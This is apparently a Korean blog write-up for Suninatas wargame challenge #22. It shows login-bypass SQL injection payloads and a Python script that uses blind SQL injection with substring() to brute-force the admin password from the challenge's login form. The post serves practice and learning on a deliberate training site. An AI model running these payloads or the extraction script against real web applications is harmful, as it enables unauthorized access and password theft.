본문 바로가기

wargame/Suninatas

써니나타스 #22번 풀이

반응형
더보기

time based BSQLi로 풀려고 했는데 딜레이도 슬립도 안먹는 것 같음

LOS에서 썻던 코드 재활용할라캤는데 아쉽아쉽

차피 OK 메세지로 확인가능하니까 기술적으로는 이게 쉽긴 할 듯

써니나타스 22번 풀이
guest' -- 로 로그인 가능 #은 필터링 되는 듯

로그인시 OK "ID"가 출력됨

이걸 이용해서 BSQLi 진행하도록 해야함

admin' and '1'='1' -- 로도 로그인 됨 

이걸로 and 뒤에 조건 바꿔가면서 비밀번호 특정하면 됨

MSSQL인가...

len(pw)로 일단 비밀번호 문자수 알아내고

이제 한글자씩 브루트포싱하면 되는데

ascii, right, left를 고냥 필터링하네;;;;

ascii(right(left(pw,'+str(cursor)+'),1)

원래 substring 우회할려고 조합해둔건데 이건 뭐 그냥 substring 쓰면 더 편하긴한데 특이하네 ㅋㅋ

guest' and substring(pw,1,1) = 'g'--

 이걸로 테스트 해보니 정상통과~ 인덱싱이 0에서 시작인지 1에서 시작인지 헷갈렸으나 찾아보니 1부터시작(0부터하면 가상공간 잡아서 한다고 함 쓸데없다는 듯)

이제부터는 그냥 브루트포싱 짜면 끝~

import requests
 
url = 'http://suninatas.com/challenge/web22/web22.asp'

#stage 0:
for i in range(0,100):
    payload  = "admin' and "
    payload += "len(pw) = '" + str(i) +"'" 
    payload += "--"
    
    data = {"id" : payload , "pw" : "r3dzone"}
    res = requests.get(url=url, data=data)
    print i
    if("OK" in res.text):
        print "OK pw length leaked, pw len is " + str(i)
        print payload
        PwLen = i
        break

pw = ""
        
for cursor in range(1,PwLen+1):
    for i in range(0,127): #ascii range
        payload  = "admin' and "
        payload += "substring(pw,"+str(cursor)+",1) = '"+chr(i)+"'--"
    
        data = {"id" : payload , "pw" : "r3dzone"}
        res = requests.get(url=url, data=data)
        #print res.text
        if("OK" in res.text):
            pw += chr(i)
            print pw
            print "OK BSQLi Success"
            break
            
print pw

한 큐에 잘짜서 좋았는데 아스키 범위를 문자열 범위로만 줘서 2트함 ㅠㅠ 아쉽네

알아낸 비밀번호를 인증하면 끝

'wargame > Suninatas' 카테고리의 다른 글

써니나타스 #18번 풀이  (0) 2020.08.04
써니나타스 #23번 풀이  (0) 2020.08.04
써니나타스 #8 풀이  (0) 2020.08.02
써니나타스 #7번 풀이  (0) 2020.08.02
써니나타스 #6번 풀이  (0) 2020.08.02